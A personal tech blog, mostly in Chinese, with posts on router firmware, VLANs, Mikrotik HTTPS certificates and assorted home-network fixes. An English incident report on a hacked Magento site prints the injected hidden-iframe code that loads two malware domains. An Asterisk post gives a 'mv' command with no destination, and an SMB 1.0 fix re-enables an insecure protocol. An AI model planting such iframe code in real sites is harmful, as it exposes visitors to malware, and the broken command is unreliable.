Author: 芳草苑主

  • DD-WRT vs OpenWRT vs FreshTomato

    最近把两个闲置的 Netgear R6300 v2 刷了几次 WRT 和 Tomato firmware,意在用它们代替 Draytek 2860n/2910 组建 site-to-site VPN,同时用上 VLAN。

    题外话:Draytek 2910 只支持百兆网口,Draytek 2860n 虽说都是千兆网口,但 WAN throughput 仅在 300 mbps 左右,归根到底是一款 DSL 年代的产品,已经跟不上时代的。认识 Draytek 十多年,本是 Draytek 忠实的客户,买过它几十个产品,都有不错的表现,除了最后一批 Draytek AP910C 令我失望。最近升级路由器,本也考虑过 Draytek 3910,但最终选了 Mikrotik CCR1036。认识了 Mikrotik 一个多月,有比较就有伤害,突然就觉得 Draytek 格局太小,以后不会再买。Mikrotik 有点贵,暂时不想用第二台 Mikrotik 组建 site-to-site VPN。

    我最先把 Netgear R6300 刷了 DD-WRT,读了几篇 wiki,说 VLAN 不能在 GUI 下完成,需要 GUI+CLI 才行。我倒不是排斥用命令行,事实上我还是挺喜欢敲打命令的(显得专业),但我排斥 DD-WRT 这个设计逻辑,我觉得搞个 VLAN 还得用到命令行,让人不爽。

    于是我立马投入了 OpenWRT 的环抱。OpenWRT 确实在 VLAN 界面上做得比 DD-WRT 好多了,也不需要用到命令行,就该这样。OpenWRT 安装插件也很方便,我就是在 OpenWRT 站点上注意到 Wireguard VPN(但不预装),据称要好过 OpenVPN。但还没来得及研究 VPN,就发现 OpenWRT 不支持 Netgear R6300 v2 的 5Ghz Wi-Fi。我觉得这不能接受,毕竟 Netgear R6300 v2 硬件支持 802.11ac,Draytek 2860n 只支持 802.11n,这也是我把它换掉的一个原因,如果整个 5Ghz Wi-Fi 都没有,那不是退步了?

    于是我又找了 FreshTomato,看 wiki 说它支持 Netgear R6300 v2 的5Ghz Wi-Fi 才刷。FreshTomato 的 GUI 做得没有 OpenWRT 好,但搞个 VLAN 没有问题。FreshTomato 预装 OpenVPN,几乎是一键设置,把复杂的 OpenVPN 简化得倒是很好,我很顺利地在两台 FreshTomato 间建立了 OpenVPN 隧道,可是无法访问对方局域网。我正花时间在研究怎么打通 site-to-site,却发现 FreshTomato Wi-Fi 并不稳定,隔几个小时就无法访问 internet(有线连接的 LAN 口能稳定访问 internet),无法确定是它 Wi-Fi 本身的问题,还是 OpenVPN 带来的问题。不管如何,我再次决定抛弃 FreshTomato。

    好马也吃回头草,我觉得还是投回 DD-WRT 的环抱。走了一圈,觉得就算一定要用命令行实现 VLAN 也可以接受了,usability 的缺陷总比某些功能性的缺陷要好吧。

    然后就又刷了一遍 DD-WRT,没有其他选择了,只好静下心研究我所需要的 VPN 和 VLAN。静下心就有惊喜,我发现 DD-WRT 预装了 Wireguard,自从认识了 Wireguard 后,她就是我的优选方案。至于 VLAN,我觉得或许它并不需要借助命令行去设置,之前看的 wifi 可能过时了,但我还没时间去研究,先搁着吧。

  • Huawei Q2 Pro router review

    2019 年买了华为 Q2 Pro 一母三子电力线路由器,最初想用它取代 Draytek AP910C 实现一个小宾馆内部的无缝无线漫游。我知道 4 个 AP 数量可能不够,但 Q2 Pro 号称最多可以一拖十三,我想第一批试用通过再多加子路由。但 Q2 Pro 的使用体验太差,已买的一母三子成了鸡肋,更别提添加更多的子路由。Q2 Pro 的槽点挺多,我一个个吐。

    首先,这个宾馆环境的电力线是之前的人布的,有个我检查不出的缺陷,其中一层的电力线跟其他楼层的电力线速度只有 30 Mbps 左右,我手头两组前几代的电力线插头都是这个速度。Q2 Pro 号称应用了各种抗干扰的电力线技术,我本指望它能改善宾馆里电力线先天不足,结果它比前辈们表现更糟;而且它在其他电力线插头都有几百兆速率的间隔,竟然只有不到二十兆的速率。

    其次,终端在大楼各层间移动却无法总是接入到最近的 AP,无线漫游是有的,但不是无缝的。而在 Draytek AP910C 上我已经实现了无线漫游,买 Q2 Pro 就是想升级成无缝漫游。这个愿望实现不了,而 Q2 Pro 其他各项功能又无法跟 Draytek AP910C 比拟,所以干脆淘汰了 Q2 Pro。

    再次,Q2 Pro 根本不支持虚拟网,但这不是重点,因为我是事先知道这一点的,并对网络做了重新规划。重点是 Q2 Pro 只能运行在一个直白模式,任何一个非直白的模式就引爆了它的 bugs。具体点说,我原本在 Draytek AP910C 启用了 4 个虚拟网,在宾馆的全覆盖。Q2 Pro 不支持虚拟网,我又想实现无缝无线漫游,所以我综合平衡了一下,除了宾客用的虚拟网必须全覆盖,其他 3 个虚拟网只需要在用到他们的地方放置 AP 就好。于是我计划用 Q2 Pro 作 AP 模式,只需接入宾客用的虚拟网,对 Q2 Pro 来说,它也不必关心这是不是个虚拟网。我关了母路由的 DHCP 服务,把网线插在了 LAN 口而不是 WAN 口。然后问题就来了——母子路由无法同步。最初我想,不同步也没有关系,我先做好其他必要设置,最后再把网线插在 LAN 口,从此不再修改任何设定。哪知我就算如此就将,其中一个子路由还是不配合。我买的是一母双子的原配套装,再外加一个子路由凑成的一母三子。这个非亲生的子路由在母路由没有 WAN 连接时,开机总是忽略原已同步好的设置,恢复出厂设置,也就是开放无密码的 Wi-Fi。这导致我不想在商业环境下使用 Q2 Pro,把它撤到家庭环境。

    第四,就算在家庭环境,远程管理也会是一个必要的功能吧,Q2 Pro 根本不提供 remote web management。要想远程管理,必须得用华为的智慧生活 APP,而这个 APP 也没有囊括 web management 少得可怜的几项功能。

    第五,考虑到 Q2 Pro 可能不是为我这么个 “professional” 设计的产品,那我就用它来管理孩子们的上网时间吧。于是我设置了一个晚上 10 点对孩子们用的终端自动断网。可是有一天晚上过了 10 点,我发现孩子们还抱着电脑跟同学相聊甚欢,我只好直接掐了 Q2 Pro 的网线才让他们意犹未尽地放下电脑。

    自此,我已经对 Q2 Pro 彻底失望。

  • Mikrotik hybrid VLAN port

    我就想吐槽一下自己,我整整一个圣诞到新年的假期,都在研究如何在 Mikrotik router 上做一个 hybrid VLAN port。其实我可能第一天就做出来了,但是怎么都不生效,让我觉得可能自己还不会设置,反复调整,直到今天我才发现,原来是忘了 Mikrotik router 和我的目标设备之间还有一个 EdgeSwitch。

    之前我创建了 VLAN trunk,我想在此基础上加一个 untagged VLAN,以便进入一对未设定 management VLAN 设备 Metrolinq 的管理界面。

    我完全忘了这一对 Metrolinq 并有没有直接接入 Mikrotik router,而是接入了 EdgeSwitch,EdgeSwitch 再接入 Mikrotik router。这也是最近网络基础设施大升级的一部分,这么做的好处是用 EdgeSwitch POE 供电给 Metrolinq,抛弃 Metrolinq 原配的 POE adapter,因为我感觉原配的 POE adapter 似乎不太稳定,发生过多次莫名其妙的断网,靠重启 POE adapter 恢复。

    所以,不管我在 Mikrotik router 做什么调整,EdgeSwitch 仍是原来那个 VLAN trunk,新增的 untagged VLAN 根本到不了 Metrolinq。

    我的假期就这么浪费掉了,本来可以干很多其他事情的。也不是完全没有收获,反复研读 Mikrotik Wiki,理解力有点提高。

  • Enable https access to Mikrotik router and eliminate unsecure warning in Chrome

    黑五前入手了一台 Mikrotik CCR1036-12G-4S-EM Cloud Core Router,准备用它取代 DrayTek 2860,迎接千兆网的到来。1gbps 还未普及到我的区域,我只是未雨绸缪了。

    DrayTek 2860 充其量只能是给 home office 和 small business 用的,现在带机量虽有增加,但还不到 50,就有点力不从心,有点小失望。但它这么多年来一直勤勤恳恳,不用怎么重启,我不说它不好,只是现在有更高的要求了。

    即将到来的 1gbps 宽带将是 1gbps 对称的上下行,我非常期待 1gbps 的上行带宽能给 work from home 带来质的飞跃(对比目前的 15mbps)。这对路由器的 VPN 吞吐速率提出了很高的要求,我曾一时也不知道该选什么路由器来做高速率的 VPN 连接,我也不想自建一台 VPN server,担心搞不好被人攻击。我花了很多天在搜索合适的路由器,眼前出现频率较高的是 Netgear AX12。Netgear AX12 毕竟是个家用级的产品,quad core 满足 1gbps 下行是没问题,但能否满足 1gbps 加密上行?指标上没有提及,我也表示怀疑。某天我突发奇想,如果 quad core 不够用,那就找找 octa core。

    Octa core router 的搜索结果中就出现了 Mikrotik CCR1036,尽管它可不止八核,而是 36 核!感谢 Google 成功地将我的关注点带到了 Mikrotik CCR1036。它强悍的性能完全可以满足今后 5 到 10 年的需求,而且它的价格很亲民(与 Cisco 比)。

    好了,于是我下手买了一台 Mikrotik CCR1036-12G-4S-EM。说了一堆废话,无非在强调此路由器的专业性。

    之前我访问 DrayTek 2860 的 https web UI,从来没想过要把浏览器里吓唬初学者的不安全提示给去掉。我不是初学者,我没被吓唬住,也就懒得理会。如今调试专业的路由器,我就萌生一个想法,让我的 Chrome 浏览器不要再出现不专业的不安全提示。

    以下步骤主要借鉴了 https://wiki.mikrotik.com/wiki/Manual:Webfig,但有所改动,否则不能消除 Chrome 的不安全提示。

    1,生成一个根证书并自签

    /certificate
    add name=LocalCA common-name=LocalCA country=UK key-usage=key-cert-sign,crl-sign 
    sign LocalCA

    注意:生成证书时一定要加国别,否则 Chrome 拒绝导入这个根证书(导入显示成功,但实际没有导入)

    2,生成 WebFig 用的 SSL 证书并由刚发行的根证书签发它

    /certificate
    add name=Webfig common-name=webfig.local subject-alt-name=DNS:webfig.local
    sign Webfig ca=LocalCA

    注意:如果 subject-alt-name 仅写 DNS:webfig,浏览器仍会认为不安全,必须是 FQDN 或 IP address。

    3,启用刚生成的 Webfig 证书

    /ip service
    set www-ssl certificate=Webfig disabled=no

    注意:若遇到 www-ssl 启动失败,其中一个可能是端口冲突,默认端口 443 被 SSTP 服务器占用。SSTP 服务器在 /interface/sstp-server/server 调整。

    4,添一个 static DNS,将 webfig.local 解析到路由器的 IP address

    /ip dns static
    add name=webfig.local type=A address=192.168.88.1
    /ip dns
    set allow-remote-requests=yes

    注意:仅在内网用路由器作 primary DNS(必须启用 allow remote requests,否则路由器不响应静态解析请求)可行。在外网就得用 hosts 文件做个指向。

    5,用 Chrome 访问 https://webfig.local,首次访问当然会被提示非安全连接,忽略之继续访问,然后点地址栏左边的小图标,查看证书,选中根证书,保存到本地硬盘。然后在 Chrome 设置里管理证书,将刚才保存的证书导入到受信任的根证书类。

    6,重启 Chrome 再次访问 https://webfig.local,就不再有恼人的提示了。

  • Solve Wi-Fi refuse to connect

    刚才遇到一个奇葩问题:Wi-Fi 路由器和终端都没有改动过设置,也没有超载荷,原来能接入的终端都被拒绝,重启路由器也没用,重启终端更没用。

    我以前遇到过拒绝接入,我认为是路由器部分死机引起,重启路由器后都能接入。这次遇到在 Virgin Media Hub3 上,所有手机不能接入 Master SSID,却能接入 Guest SSID,重启路由器 N 次都没有用,最后登录路由器,随意改了一点设置,才把 Wi-Fi 从假死状态救活。

    我认为这是路由器的某个 bug,该症状很难被复制,我的解决方案也不具有代表性,我仅在此做个笔记,提示此类 bug 的存在。

  • Huawei & me

    刚又买了一台华为设备,却第一次买她的电脑。

    Huawei laptop order
    Huawei laptop order

    认识华为,始于 Mate 7。从此没换过其他手机品牌。在我手上所有的华为手机,从来没有在我想主动升级前出现故障,或变慢,或充不了电。

    我选择华为,是因为她的产品价值,我觉得跟爱国主义情怀毫无关系。£2000 的套装,年末价 £1270,让我深深感受到了一个字——值。

    如果只是单纯的爱国主义情怀,我应该在中国下单,不用给英国政府交 VAT。但中国方面促销力度并不大,我何必折腾。

    但是,如果华为消费的是用户的情怀,那她是没有前途的。一个真正的好产品,必须要有她自身的价值。所以,我这样的用户才是华为真正需要的支持者。哈,我自封的,华为可能不这么想,因为对于她目前想主推的 5G 基站,我买不起;5G 终端,我也没有任何想买的意思。

    个人电脑品牌中,有几个被我列为不再受信赖的品牌。Lenovo 是一个,刚收购 IBM 那阵是不错的,但自从不能使用 ThinkPad 商标后,质量堪忧,买三台都没使用到想淘汰的时候就坏了,似乎品控随着 ThinkPad 而消失。

  • Windows cannot access WD Mybookworld CIFS share problem resolved

    我有一台 Windows 10 家庭版的电脑,无法访问 WD Mybookworld CIFS。具体症状是访问 \\wd_ip_address 就被拒绝,但该 IP 地址可以被 ping,也可以访问 WD Mybookworld 的 web UI。

    为了找出问题所在,我进行了完整的交叉替换测试。我先试着用它借用一个 IP 访问 WD Mybookworld CIFS,被拒绝,该 IP 在其他电脑上使用正常;然后用它来访问同一网络内的另一台 NAS 下的 CIFS,这是一台自建的 NAS,装的系统是 FreeNAS,可以访问;接着用另一台 Windows 10 家庭版的电脑访问了 \\wd_ip_address,也能访问。所以问题仅限于一台特定的电脑访问特定的 NAS,查看了 WD Mybookworld 里的设置,没找到能拒绝特定 IP 访问的设置,即使有,似乎也不太可能做过这样的限制。

    找啊找,最后发现是 Windows 10 “SMB 1.0/CIFS File sharing support” 被关闭了,需要在控制面版 >> 程序和功能 >> 启用或关闭 Windows 功能里重新启用。估计 WD Mybookworld CIFS 用的是 SMB 1.0,而 FreeNAS 用了更高版的 SMB,所以这个 Windows 共享文件夹的问题只影响了特定的机型。

    我还是不懂怎么就把这一台 Windows 10 “SMB 1.0/CIFS File sharing support” 给关闭的,反正感觉 Windows 10 毛病挺多的。

  • Solved “31.41 Missing or Defective Cartridge Error” for Lexmark C746dn printer

    最近我碰到的设备故障多到来不及处理,它们就处于瘫痪状态,等我有空了慢慢修。好在设备多,坏几个不至于工作无着,但毕竟影响效率。今天修好一台打印机故障,还是令人高兴。

    这是一台 Lexmark C746dn 彩色激光打印机,开机后显示 “31.41 Missing or Defective Cartridge Error”。在 Web UI 显示不出黑色碳粉盒信息,我想故障出在黑色碳粉盒上。我多次取出、再装回黑色碳粉盒,都无法让这个 31.41 错误消失。

    无数次 Google 之后,终于发现有人提到 Cartridge Contact Replacement Cables (FRU part number 41X0444)。这个信息很有用,我已来不及看用户手册查 Cartridge Contact Cable 在哪儿,只是搜索了一下它大致长什么样,然后打开粉仓,把我目光都能看到的长得有点像 Cartridge Contact Cable 的线都摸了一遍,然后关好粉仓,31.41 错误消失了!等待机器自检的过程中,我还在想,要不要拿螺丝刀开后盖检查主板接线呢。完全不用!正常如往常!

  • Do not run Asterisk as root user

    我用的 FreePBX 带的 Asterisk 是很久以前安装的,也没有关心过它是不是以 root 身份运行,直到最近被攻击。

    攻击的症状是有大量的流量访问,伴随流量不停在 /tmp 目录下生成 1-2 GB 的垃圾文件,产生文件的速度似乎跟流量大小相关。

    我不懂此次攻击的原理,但我发现原来一直以来 Asterisk 都是以 root 身份运行,我也知道这不合适。同时我也发现系统里早已有 asterisk 用户和 asterisk 组,程序、配置文件和文件夹的属主和属组都已是 asterisk 和 asterisk,也许攻击者对 Asterisk 做了提权。

    不管怎样,我得先把 Asterisk 改为非 root 身份运行。因为我的 Asterisk 以 service 方式启动,所以我在 /etc/init.d/asterisk 里增加了两行:

    AST_USER="asterisk"
    AST_GROUP="asterisk"

    重启就 OK 了。流量正常了,/tmp 下也不再生产垃圾文件,但不知道攻击有没有消失,至少漏洞堵上了。

    在堵漏洞的过程中还有个插曲:一开始还不清楚是不是操作系统层面的漏洞,我一上来就来一个

    yum update -y

    结果重启后发现系统瘫痪了,连 ssh 也进不去,只好用 console 登录,发现尝试用 service 启动任何服务时都会出现类似的错误信息。

    Error getting authority: Error initializing authority: Could not connect: Connection refused (g-io-error-quark, 44)

    据说这是 CentOS 在某个阶段升级特有的毛病。执行以下命令就好了:

    mv /var/run/dbus/system_bus_socket

    ln -s /run/dbus/system_bus_socket /var/run/dbus/system_bus_socket

  • Magento site was compromised

    It was my first time to see a hacker is close to me.

    I was flooded with notification emails from Google Adsense subjected “Your AdSense Publisher Policy Violation Report” from yesterday afternoon. I immediately tried to visit either blog.goods-pro.com or goods-pro.com to see what was going on. I got a scary warning message saying either site contains malware by Chrome and Firefox (on desktop. Chrome for Android does not do safe browsing check. I don’t know if Firefox does so.)

    It took me a while to find out which site contains malware. As blog.goods-pro.com was using AdSense but goods-pro.com wasn’t, at first I thought it was blog.goods-pro.com that were hacked. blog.goods-pro.com was powered by WordPress, so I went through all the plugins and compared with my other WordPress sites, I didn’t find a suspicious plugin.

    Then I started to look into the main domain site goods-pro.com, which was installed with Magento. It took me quite a while for me to know there was a good tool from https://sitecheck.sucuri.net/ to check what malware was on the site.

    Then it took me another while to find out how the hacker did it. Basically the hacker compromised one of admin’s (not mine) password, and add the following code in three places (design/footer/copyright, design/head/includes, design/footer/absolute_footer) in Magento System >> Configuration.

    <iframe src=”https://hersosx2sk.tk/Rnjqs3″ frameborder=”0″ width=”0″ height=”0″></iframe><iframe src=”https://mytokeasn2s.ru/mwRwD7″ frameborder=”0″ width=”0″ height=”0″></iframe>

    hersosx2sk.tk and mytokeasn2s.ru are malware sites. And if a site links to them, it is regarded as malware site as well. 

    When I disabled access of compromised admin accounts (without removing the injected code), I found Chrome and Firefox stopped giving that scary warnings, and visits to hersosx2sk.tk or mytokeasn2s.ru are redirected to Google. I don’t understand how Google can take control of these domains so quick, but anyway, it is not my business.

    At last I removed all malware codes and requested AdSense a review of blog.goods-pro.com.